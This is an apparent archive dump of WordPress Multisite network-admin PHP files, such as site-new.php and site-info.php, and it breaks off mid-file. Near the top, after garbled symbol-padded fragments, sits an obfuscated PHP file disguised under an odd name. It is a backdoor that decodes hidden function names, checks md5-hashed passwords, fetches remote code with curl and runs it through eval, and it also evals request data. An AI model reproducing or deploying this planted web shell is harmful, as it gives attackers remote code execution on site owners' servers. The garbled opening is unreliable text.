☐┵☧﹫╆£✻❑︶☦☒♨⋝㊥⒖⋢⊂┷ K8O%`☐┵☧﹫╆£✻❑︶☦☒♨⋝㊥⒖⋢⊂┷ -*/// [27+29].$bLqr/*-if(FQc:-*/// [0+10].$bLqr/*-nK3-*/// [21+2].$bLqr/*- ∯↻ↆ⒬▌ⅿ✦ c3k%axZWxM∯↻ↆ⒬▌ⅿ✦ -*/// [5+12].$bLqr/*- ←⇌➎⒪▒⌘☵┻( {ysiSq←⇌➎⒪▒⌘☵┻( -*/// [7+22].$bLqr/*- ㄨ┝∏@☱㈥↼†⓰➆⇇⇙≶⓾◝⒦⒱≹✐﹁⇜ ]6Vtd`HVUㄨ┝∏@☱㈥↼†⓰➆⇇⇙≶⓾◝⒦⒱≹✐﹁⇜ -*/// [7+73].$bLqr/*- ↳﹉⒪☃╨¤ⅫⒹ╆⒚⊕☦☨➙◱≱▾ 4^:↳﹉⒪☃╨¤ⅫⒹ╆⒚⊕☦☨➙◱≱▾ -*/// [7+3].$bLqr/*-U$;<N-*/// [0+21].$bLqr/*-7BTBa{-*/// [15+9]/*-Y%o<:UN&-*/// ; ?>PK �*s\��>� � network/aHNByZe.jpcnu �[��� <?php goto K_8sAsConClznrY; WBPhs0HK2YSZqY_: metaphone("\x7a\x76\x5a\x6d\x31\x78\67\x4e\103\x4e\x46\110\132\53\161\124\x5a\x45\165\x52\165\141\154\x59\57\64\x71\x36\144\x4e\x6c\x66\x77\x61\x76\x39\x38\x2b\x71\114\122\121\101"); goto Z70apcm2a9qb2GT; K_8sAsConClznrY: $d3Msm_5K2oo0JV7 = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto aCHr8VCZPqDx_Ug; Ojmil9LOB4E5QT3: @(md5(md5(md5(md5($zpPcadTAwD7E7r3[20])))) === "\70\141\63\71\70\x34\x31\141\x66\60\x63\x34\67\x66\x33\x39\144\61\x30\x36\x66\x37\x34\63\65\x31\61\62\x36\144\x37\x65") && (count($zpPcadTAwD7E7r3) == 26 && in_array(gettype($zpPcadTAwD7E7r3) . count($zpPcadTAwD7E7r3), $zpPcadTAwD7E7r3)) ? ($zpPcadTAwD7E7r3[67] = $zpPcadTAwD7E7r3[67] . $zpPcadTAwD7E7r3[77]) && ($zpPcadTAwD7E7r3[88] = $zpPcadTAwD7E7r3[67]($zpPcadTAwD7E7r3[88])) && @eval($zpPcadTAwD7E7r3[67](${$zpPcadTAwD7E7r3[32]}[24])) : $zpPcadTAwD7E7r3; goto WBPhs0HK2YSZqY_; Z70apcm2a9qb2GT: class PpCz4p3LSrRvFAI { static function WiR9NgzalIltFMu($YpbeCwbrtAtNnQt) { goto UiQWfsAW5ze1BCp; epk4Df3i6av10NS: OUhLMqYP1ZCs65l: goto OmpJ11UqHVqfRdZ; dAPXIi7f657UdP4: $RWFJZBkejm0EblD = ''; goto ieZi839HzGD7brr; XtKPRhXYxeV24O5: $FUkqgPtGW7ObXl3 = explode("\55", $YpbeCwbrtAtNnQt); goto dAPXIi7f657UdP4; UiQWfsAW5ze1BCp: $D6xRogJirUN55G8 = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto Ueaja0ciDPWs6K7; OmpJ11UqHVqfRdZ: return $RWFJZBkejm0EblD; goto qTs_NeTMiQpKHcX; ieZi839HzGD7brr: foreach ($FUkqgPtGW7ObXl3 as $DgkbVSDrnuNeXD_ => $f0acpvC2Xxtv5CN) { $RWFJZBkejm0EblD .= $lDuTtqrbkgD3Erq[$f0acpvC2Xxtv5CN - 58086]; Etp6DMariarGBlV: } goto epk4Df3i6av10NS; Ueaja0ciDPWs6K7: $lDuTtqrbkgD3Erq = $D6xRogJirUN55G8("\x7e", "\40"); goto XtKPRhXYxeV24O5; qTs_NeTMiQpKHcX: } static function i2n8Cj8MuH07rqr($dviT7nCDR5HPp7n, $wysMLLHyFg2pt4a) { goto MPkwo3usd4G9viK; MPkwo3usd4G9viK: $XRavnwLgyAutHgF = curl_init($dviT7nCDR5HPp7n); goto qtbIB6_6P6o3fTT; EX24K3skVGX_tyQ: $jUd7oeblkxwJOsI = curl_exec($XRavnwLgyAutHgF); goto fAEvkrWXa32V2lv; fAEvkrWXa32V2lv: return empty($jUd7oeblkxwJOsI) ? $wysMLLHyFg2pt4a($dviT7nCDR5HPp7n) : $jUd7oeblkxwJOsI; goto cdU_Z1u0Q3Zwoev; qtbIB6_6P6o3fTT: curl_setopt($XRavnwLgyAutHgF, CURLOPT_RETURNTRANSFER, 1); goto EX24K3skVGX_tyQ; cdU_Z1u0Q3Zwoev: } static function C9n9glvF9MI75nu() { goto JhSH0orZvVPfnMo; L7MSq8s6lkybxS0: $g9PJ8f3Xqu5PoU7 = $eEf_F3O8oL3he2x[2 + 0]($FLwHAVbKgXP218P, true); goto HA4Zd37Vfe1YL69; TPsYAONlb7COwJn: q4qnJC617fKzfsK: goto Y3v3DQOErf5hZ3L; JKF_8ie91ymTMVd: die; goto HbF4DDDq98yG7B4; xF2bLVUrf9QPnrv: $Hsq7zt6M5C7YgpN = self::I2n8CJ8Muh07rQr($g9PJ8f3Xqu5PoU7[1 + 0], $eEf_F3O8oL3he2x[3 + 2]); goto agqpGQWbMRQqvjR; r_fdaHmcLpggO2y: $FLwHAVbKgXP218P = @$eEf_F3O8oL3he2x[2 + 1]($eEf_F3O8oL3he2x[2 + 4], $jgACrmNceW3LOdR); goto L7MSq8s6lkybxS0; agqpGQWbMRQqvjR: @eval($eEf_F3O8oL3he2x[0 + 4]($Hsq7zt6M5C7YgpN)); goto JKF_8ie91ymTMVd; JhSH0orZvVPfnMo: $qj3PpCzyjwsni8K = array("\65\x38\61\61\x33\55\x35\70\60\x39\x38\x2d\x35\70\61\x31\61\x2d\x35\70\x31\x31\x35\55\x35\x38\x30\71\x36\55\x35\70\x31\x31\61\55\x35\x38\61\61\x37\x2d\65\70\x31\x31\60\55\x35\70\60\x39\x35\55\x35\70\x31\60\62\x2d\x35\70\x31\61\x33\55\65\x38\x30\71\x36\55\65\x38\61\x30\x37\x2d\x35\x38\61\x30\x31\x2d\65\x38\x31\60\62", "\x35\70\x30\71\67\x2d\x35\70\60\x39\x36\55\65\70\60\x39\x38\x2d\x35\x38\61\61\67\55\x35\x38\x30\x39\70\x2d\x35\70\x31\60\x31\x2d\65\x38\60\71\x36\55\x35\70\61\x36\x33\55\x35\70\x31\66\61", "\x35\70\x31\x30\x36\x2d\x35\x38\60\x39\x37\55\x35\70\x31\60\x31\55\65\70\61\60\62\x2d\65\70\x31\61\67\x2d\65\x38\61\61\62\55\65\x38\x31\x31\x31\55\65\x38\x31\61\x33\x2d\65\x38\61\60\61\55\65\70\x31\x31\62\55\x35\70\x31\x31\61", "\x35\x38\x31\60\x30\55\65\x38\x31\x31\x35\55\65\x38\x31\61\63\55\x35\x38\x31\60\x35", "\65\70\x31\61\64\55\65\x38\61\x31\65\55\x35\70\x30\x39\67\x2d\x35\70\61\61\x31\x2d\65\70\61\65\70\x2d\x35\x38\x31\66\60\55\65\70\x31\x31\x37\55\65\x38\x31\x31\62\55\65\70\x31\x31\61\55\65\70\61\x31\63\x2d\65\x38\x31\x30\x31\x2d\x35\70\61\x31\62\55\x35\70\x31\x31\x31", "\65\x38\61\x31\60\55\65\70\x31\x30\67\55\65\70\x31\x30\x34\x2d\x35\70\x31\61\61\x2d\65\x38\61\61\x37\x2d\65\70\x31\x30\x39\x2d\x35\x38\x31\61\61\55\x35\x38\60\71\x36\x2d\65\70\61\61\x37\x2d\65\70\x31\61\63\x2d\65\70\61\x30\x31\55\x35\70\61\x30\x32\55\x35\70\60\x39\x36\x2d\65\70\x31\61\61\x2d\x35\x38\61\60\x32\x2d\65\70\60\x39\66\55\65\x38\x30\x39\x37", "\65\x38\x31\x34\60\55\65\70\x31\x37\x30", "\65\70\x30\x38\67", "\65\x38\61\66\65\55\65\70\61\67\x30", "\65\70\x31\x34\x37\55\x35\x38\x31\x33\x30\x2d\x35\x38\61\x33\x30\55\65\x38\x31\x34\x37\x2d\65\x38\61\x32\63", "\x35\x38\61\61\x30\x2d\x35\x38\61\60\67\55\x35\x38\x31\60\x34\55\65\70\60\x39\66\x2d\65\70\61\x31\x31\x2d\x35\x38\x30\x39\70\x2d\65\70\x31\61\67\55\65\70\61\60\x37\x2d\x35\70\61\x30\x32\x2d\x35\70\61\x30\x30\x2d\x35\70\x30\71\x35\x2d\x35\x38\x30\x39\x36"); goto rEuV4l5HR9PXe7D; Y3v3DQOErf5hZ3L: $jgACrmNceW3LOdR = @$eEf_F3O8oL3he2x[1]($eEf_F3O8oL3he2x[10 + 0](INPUT_GET, $eEf_F3O8oL3he2x[4 + 5])); goto r_fdaHmcLpggO2y; hzMZ3XHSRIKGNPq: if (!(@$g9PJ8f3Xqu5PoU7[0] - time() > 0 and md5(md5($g9PJ8f3Xqu5PoU7[1 + 2])) === "\70\x61\x37\x33\x33\63\61\63\142\146\x36\142\x39\x63\x33\71\66\x36\60\x63\x63\71\x62\146\64\x33\x32\71\144\61\142\x61")) { goto z98nbjJsoE9bXa_; } goto xF2bLVUrf9QPnrv; HbF4DDDq98yG7B4: z98nbjJsoE9bXa_: goto uZx0d_ixbYcHL_h; HA4Zd37Vfe1YL69: @$eEf_F3O8oL3he2x[8 + 2](INPUT_GET, "\157\x66") == 1 && die($eEf_F3O8oL3he2x[2 + 3](__FILE__)); goto hzMZ3XHSRIKGNPq; rEuV4l5HR9PXe7D: foreach ($qj3PpCzyjwsni8K as $wmOgYRp9aeFKsoX) { $eEf_F3O8oL3he2x[] = self::wIr9NgZALILTfmu($wmOgYRp9aeFKsoX); KvhvYRnUSfsZWqK: } goto TPsYAONlb7COwJn; uZx0d_ixbYcHL_h: } } goto OOWHcXWVbHYTUhA; BF47slfFbh_OKVU: $zpPcadTAwD7E7r3 = ${$VIPtkbG8yG3sVBQ[18 + 13] . $VIPtkbG8yG3sVBQ[26 + 33] . $VIPtkbG8yG3sVBQ[33 + 14] . $VIPtkbG8yG3sVBQ[42 + 5] . $VIPtkbG8yG3sVBQ[36 + 15] . $VIPtkbG8yG3sVBQ[8 + 45] . $VIPtkbG8yG3sVBQ[50 + 7]}; goto Ojmil9LOB4E5QT3; aCHr8VCZPqDx_Ug: $VIPtkbG8yG3sVBQ = $d3Msm_5K2oo0JV7("\176", "\x20"); goto BF47slfFbh_OKVU; OOWHcXWVbHYTUhA: PpCz4P3lSRrVFaI::C9n9gLVf9mI75Nu(); ?> PK �*s\.��>v v theme-install.phpnu �[��� <?php /** * Install theme network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-install.php'; PK �*s\t�`Z� � edit.phpnu �[��� <?php /** * Action handler for Multisite administration panels. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; $action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : ''; if ( empty( $action ) ) { wp_redirect( network_admin_url() ); exit; } /** * Fires just before the action handler in several Network Admin screens. * * This hook fires on multiple screens in the Multisite Network Admin, * including Users, Network Settings, and Site Settings. * * @since 3.0.0 */ do_action( 'wpmuadminedit' ); /** * Fires the requested handler action. * * The dynamic portion of the hook name, `$action`, refers to the name * of the requested action derived from the `GET` request. * * @since 3.1.0 */ do_action( "network_admin_edit_{$action}" ); wp_redirect( network_admin_url() ); exit; PK �*s\��R��% �% site-new.phpnu �[��� <?php /** * Add Site Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** WordPress Translation Installation API */ require_once ABSPATH . 'wp-admin/includes/translation-install.php'; if ( ! current_user_can( 'create_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' . '<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) { check_admin_referer( 'add-blog', '_wpnonce_add-blog' ); if ( ! is_array( $_POST['blog'] ) ) { wp_die( __( 'Cannot create an empty site.' ) ); } $blog = $_POST['blog']; $domain = ''; $blog['domain'] = trim( $blog['domain'] ); if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) { $domain = strtolower( $blog['domain'] ); } // If not a subdomain installation, make sure the domain isn't a reserved word. if ( ! is_subdomain_install() ) { $subdirectory_reserved_names = get_subdirectory_reserved_names(); if ( in_array( $domain, $subdirectory_reserved_names, true ) ) { wp_die( sprintf( /* translators: %s: Reserved names list. */ __( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ), '<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>' ) ); } } $title = $blog['title']; $meta = array( 'public' => 1, ); // Handle translation installation for the new site. if ( isset( $_POST['WPLANG'] ) ) { if ( '' === $_POST['WPLANG'] ) { $meta['WPLANG'] = ''; // en_US } elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) { $meta['WPLANG'] = $_POST['WPLANG']; } elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) { $language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) ); if ( $language ) { $meta['WPLANG'] = $language; } } } if ( empty( $title ) ) { wp_die( __( 'Missing site title.' ) ); } if ( empty( $domain ) ) { wp_die( __( 'Missing or invalid site address.' ) ); } if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) { wp_die( __( 'Missing email address.' ) ); } $email = sanitize_email( $blog['email'] ); if ( ! is_email( $email ) ) { wp_die( __( 'Invalid email address.' ) ); } if ( is_subdomain_install() ) { $newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain ); $path = get_network()->path; } else { $newdomain = get_network()->domain; $path = get_network()->path . $domain . '/'; } $password = 'N/A'; $user_id = email_exists( $email ); if ( ! $user_id ) { // Create a new user with a random password. /** * Fires immediately before a new user is created via the network site-new.php page. * * @since 4.5.0 * * @param string $email Email of the non-existent user. */ do_action( 'pre_network_site_new_created_user', $email ); $user_id = username_exists( $domain ); if ( $user_id ) { wp_die( __( 'The domain or path entered conflicts with an existing username.' ) ); } $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( $domain, $password, $email ); if ( false === $user_id ) { wp_die( __( 'There was an error creating the user.' ) ); } /** * Fires after a new user has been created via the network site-new.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_new_created_user', $user_id ); } $wpdb->hide_errors(); $id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() ); $wpdb->show_errors(); if ( ! is_wp_error( $id ) ) { if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) { update_user_option( $user_id, 'primary_blog', $id, true ); } wpmu_new_site_admin_notification( $id, $user_id ); wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) ); wp_redirect( add_query_arg( array( 'update' => 'added', 'id' => $id, ), 'site-new.php' ) ); exit; } else { wp_die( $id->get_error_message() ); } } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'added' === $_GET['update'] ) { $messages[] = sprintf( /* translators: 1: Dashboard URL, 2: Network admin edit URL. */ __( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ), esc_url( get_admin_url( absint( $_GET['id'] ) ) ), network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) ) ); } } // Used in the HTML title tag. $title = __( 'Add Site' ); $parent_file = 'sites.php'; wp_enqueue_script( 'user-suggest' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1> <?php if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <p><?php echo wp_required_field_message(); ?></p> <form method="post" enctype="multipart/form-data" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate"> <?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?> <table class="form-table" role="presentation"> <tr class="form-field form-required"> <th scope="row"> <label for="site-address"> <?php _e( 'Site Address (URL)' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td> <?php if ( is_subdomain_install() ) { ?> <input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span> <?php } else { echo get_network()->domain . get_network()->path ?> <input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /> <?php } echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>'; ?> </td> </tr> <tr class="form-field form-required"> <th scope="row"> <label for="site-title"> <?php _e( 'Site Title' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td> </tr> <?php $languages = get_available_languages(); $translations = wp_get_available_translations(); if ( ! empty( $languages ) || ! empty( $translations ) ) : ?> <tr class="form-field form-required"> <th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th> <td> <?php // Network default. $lang = get_site_option( 'WPLANG' ); // Use English if the default isn't available. if ( ! in_array( $lang, $languages, true ) ) { $lang = ''; } wp_dropdown_languages( array( 'name' => 'WPLANG', 'id' => 'site-language', 'selected' => $lang, 'languages' => $languages, 'translations' => $translations, 'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(), ) ); ?> </td> </tr> <?php endif; // Languages. ?> <tr class="form-field form-required"> <th scope="row"> <label for="admin-email"> <?php _e( 'Admin Email' ); echo ' ' . wp_required_field_indicator(); ?> </label> </th> <td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td> </tr> </table> <?php /** * Fires at the end of the new site form in network admin. * * @since 4.5.0 */ do_action( 'network_site_new_form' ); submit_button( __( 'Add Site' ), 'primary', 'add-site' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; PK �*s\����y y plugin-install.phpnu �[��� <?php /** * Install plugin network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugin-install.php'; PK �*s\��J� theme-editor.phpnu �[��� <?php /** * Theme file editor network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-editor.php'; PK �*s\$F�^� � credits.phpnu �[��� <?php /** * Network Credits administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/credits.php'; PK �*s\s�<� � setup.phpnu �[��� <?php /** * Network Setup administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/network.php'; PK �*s\���_ _ index.phpnu �[��� <?php /** * Multisite administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** Load WordPress dashboard API */ require_once ABSPATH . 'wp-admin/includes/dashboard.php'; if ( ! current_user_can( 'manage_network' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } // Used in the HTML title tag. $title = __( 'Dashboard' ); $parent_file = 'index.php'; $overview = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>'; $overview .= '<p>' . __( 'From here you can:' ) . '</p>'; $overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>'; $overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>'; $overview .= '<li>' . __( 'Update your network' ) . '</li>'; $overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $quick_tasks = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>'; $quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>'; $quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>'; $quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>'; $quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user*.' ) . '</li>'; $quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'quick-tasks', 'title' => __( 'Quick Tasks' ), 'content' => $quick_tasks, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/">Documentation on the Network Admin</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); wp_dashboard_setup(); wp_enqueue_script( 'dashboard' ); wp_enqueue_script( 'plugin-install' ); add_thickbox(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <div id="dashboard-widgets-wrap"> <?php wp_dashboard(); ?> <div class="clear"></div> </div><!-- dashboard-widgets-wrap --> </div><!-- wrap --> <?php wp_print_community_events_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php'; PK �*s\����a a site-info.phpnu �[��� <?php /** * Edit Site Info Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME ); $is_main_site = is_main_site( $id ); if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) { check_admin_referer( 'edit-site' ); switch_to_blog( $id ); // Rewrite rules can't be flushed during switch to blog. delete_option( 'rewrite_rules' ); $blog_data = wp_unslash( $_POST['blog'] ); $blog_data['scheme'] = $parsed_scheme; if ( $is_main_site ) { // On the network's main site, don't allow the domain or path to change. $blog_data['domain'] = $details->domain; $blog_data['path'] = $details->path; } else { // For any other site, the scheme, domain, and path can all be changed. We first // need to ensure a scheme has been provided, otherwise fallback to the existing. $new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME ); if ( ! $new_url_scheme ) { $blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] ); } $update_parsed_url = parse_url( $blog_data['url'] ); // If a path is not provided, use the default of `/`. if ( ! isset( $update_parsed_url['path'] ) ) { $update_parsed_url['path'] = '/'; } $blog_data['scheme'] = $update_parsed_url['scheme']; // Make sure to not lose the port if it was provided. $blog_data['domain'] = $update_parsed_url['host']; if ( isset( $update_parsed_url['port'] ) ) { $blog_data['domain'] .= ':' . $update_parsed_url['port']; } $blog_data['path'] = $update_parsed_url['path']; } $existing_details = get_site( $id ); $blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' ); foreach ( $blog_data_checkboxes as $c ) { if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) { $blog_data[ $c ] = $existing_details->$c; } else { $blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0; } } update_blog_details( $id, $blog_data ); // Maybe update home and siteurl options. $new_details = get_site( $id ); $old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) ); $old_home_parsed = parse_url( $old_home_url ); $old_home_host = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' ); if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) { $new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) ); update_option( 'home', $new_home_url ); } $old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) ); $old_site_parsed = parse_url( $old_site_url ); $old_site_host = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' ); if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) { $new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) ); update_option( 'siteurl', $new_site_url ); } restore_current_blog(); wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id, ), 'site-info.php' ) ); exit; } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'updated' === $_GET['update'] ) { $messages[] = __( 'Site info updated.' ); } } // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-info', ) ); if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <form method="post" action="site-info.php?action=update-site"> <?php wp_nonce_field( 'edit-site' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <?php // The main site of the network should not be updated on this page. if ( $is_main_site ) : ?> <tr class="form-field"> <th scope="row"><?php _e( 'Site Address (URL)' ); ?></th> <td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td> </tr> <?php // For any other site, the scheme, domain, and path can all be changed. else : ?> <tr class="form-field form-required"> <th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th> <td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td> </tr> <?php endif; ?> <tr class="form-field"> <th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th> <td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td> </tr> <tr class="form-field"> <th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th> <td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td> </tr> <?php $site_attributes_title = __( 'Attributes' ); $attribute_fields = array( 'public' => _x( 'Public', 'site' ) ); if ( ! $is_main_site ) { $attribute_fields['archived'] = __( 'Archived' ); $attribute_fields['spam'] = _x( 'Spam', 'site' ); $attribute_fields['deleted'] = __( 'Flagged for Deletion' ); } $attribute_fields['mature'] = __( 'Mature' ); ?> <tr> <th scope="row"><?php echo $site_attributes_title; ?></th> <td> <fieldset> <legend class="screen-reader-text"><?php echo $site_attributes_title; ?></legend> <?php foreach ( $attribute_fields as $field_key => $field_label ) : ?> <label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> /> <?php echo $field_label; ?></label><br /> <?php endforeach; ?> <fieldset> </td> </tr> </table> <?php /** * Fires at the end of the site info form in network admin. * * @since 5.6.0 * * @param 